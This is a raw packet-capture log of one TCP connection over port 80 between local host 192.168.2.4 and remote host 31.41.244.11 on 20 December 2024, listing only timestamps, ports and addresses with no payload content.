Dec 20, 2024 09:12:49.720897913 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.725207090 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.725332975 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.725395918 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.731095076 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.731179953 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.731252909 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.731307983 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.734245062 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.734304905 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.734389067 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.734438896 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.738739967 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.738801003 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.738811016 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.738931894 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.743222952 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.743277073 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.743284941 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.743330002 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.747714043 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.747765064 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.747806072 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.747859001 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.752121925 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.752183914 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.752290964 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.752347946 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.756634951 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.756710052 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.756815910 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.756896019 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.761198044 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.761295080 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.761332989 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.761393070 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.765655041 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.765712976 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.765835047 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.765889883 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.770128012 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.770190001 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.770206928 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.770258904 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.774566889 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.774647951 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.882584095 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.882685900 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.882751942 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.884332895 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.884386063 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.884469032 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.884520054 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.887989998 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.888040066 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.888097048 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.888216019 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.891675949 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.891777992 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.891833067 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.895278931 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.895332098 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.895401955 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.895472050 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.898825884 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.898880959 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.898947954 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.898998976 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.902290106 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.902334929 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.902349949 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.902394056 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.905703068 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.905766964 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.905806065 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.905857086 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.909111023 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.909164906 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.909447908 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.909501076 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.912549019 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.912605047 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.912606001 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.912652969 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.915997028 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.916049004 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.916101933 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.916191101 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.919357061 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.919467926 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.919470072 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.919511080 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.922878981 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.922930956 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.922949076 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.922998905 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.926182032 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.926318884 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.926347971 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.926408052 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.929595947 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.929692984 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.929713011 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.929764032 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.933078051 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.933131933 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.933149099 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.933192015 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.936490059 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.936548948 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.936631918 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.936722040 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.939939022 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.939994097 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.940069914 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.940124989 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.943279982 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.943337917 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.943411112 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.943463087 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.946715117 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.946770906 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.946791887 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.946870089 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.950151920 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.950213909 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.950273037 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.950340033 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.953558922 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.953672886 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.953701973 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.953752995 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.956979036 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.957035065 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.957117081 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.957169056 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.960385084 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.960628986 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.960654974 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.960704088 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.963836908 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.963891029 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.963918924 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.963975906 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.967206001 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.967262030 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.967356920 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.967410088 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.970634937 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.970686913 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.970751047 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.970801115 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.974200010 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.974236012 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.974252939 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.974280119 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.977497101 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.977549076 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.977631092 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.978468895 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.980891943 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.980981112 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.980984926 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.981028080 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.984375954 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.984424114 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.984428883 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.984472036 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.987766027 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.987850904 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.987878084 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.987993956 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.991137981 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.991185904 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.991254091 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.991381884 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.994596958 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.994656086 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.994702101 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.994745970 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.998033047 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.998092890 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.998158932 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.998209000 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.074582100 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.074645996 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.074680090 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.074726105 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.075992107 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.076086998 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.076095104 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.076127052 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.078851938 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.078913927 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.078968048 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.079029083 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.081967115 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.082078934 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.082087994 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.082132101 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.084534883 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.084640980 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.084741116 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.084801912 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.087341070 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.087388039 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.087428093 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.087677956 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.090059042 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.090126991 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.090210915 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.090249062 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.092674971 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.092784882 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.092850924 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.095283985 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.095341921 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.095546007 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.095597982 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.097862959 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.097929001 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.097994089 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.098042011 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.100440979 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.100593090 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.100649118 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.102962971 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.103024960 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.103104115 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.103157043 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.105423927 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.105534077 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.105564117 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.105580091 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.107851982 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.107916117 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.107983112 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.108026981 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.110238075 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.110291004 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.110358953 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.110407114 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.112641096 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.112694025 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.112792969 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.112878084 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.114958048 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.115092993 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.115099907 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.115144968 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.117398977 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.117456913 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.117458105 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.117506027 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.119607925 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.119666100 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.119724989 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.119771004 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.121865034 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.121926069 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.121953964 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.121999979 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.124104023 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.124155045 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.124234915 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.124368906 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.126352072 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.126403093 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.126446962 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.126699924 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.128572941 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.128623009 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.128705025 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.128753901 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.130887032 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.130986929 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.131042004 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.133061886 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.133169889 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.133248091 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.133299112 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.135354042 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.135401964 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.135406971 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.135502100 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.137557983 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.137610912 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.137625933 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.137655973 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.139782906 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.139853001 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.139882088 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.139926910 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.142013073 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.142085075 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.142088890 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.142131090 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.144244909 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.144306898 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.144347906 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.144444942 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.146466017 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.146522045 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.146595955 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.146774054 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.148720026 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.148771048 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.148787022 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.148828030 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.150937080 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.151057005 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.151113033 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.153219938 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.153321028 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.153325081 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.153362036 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.155433893 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.155493021 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.155505896 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.155550003 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.157676935 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.157746077 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.157820940 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.158065081 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.159908056 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.159955978 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.159981012 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.160028934 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.162101030 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.162153959 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.162220955 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.162292957 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.164381027 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.164500952 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.164510012 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.164547920 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.166608095 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.166671991 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.166768074 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.166914940 CET	49874	80	192.168.2.4	31.41.244.11
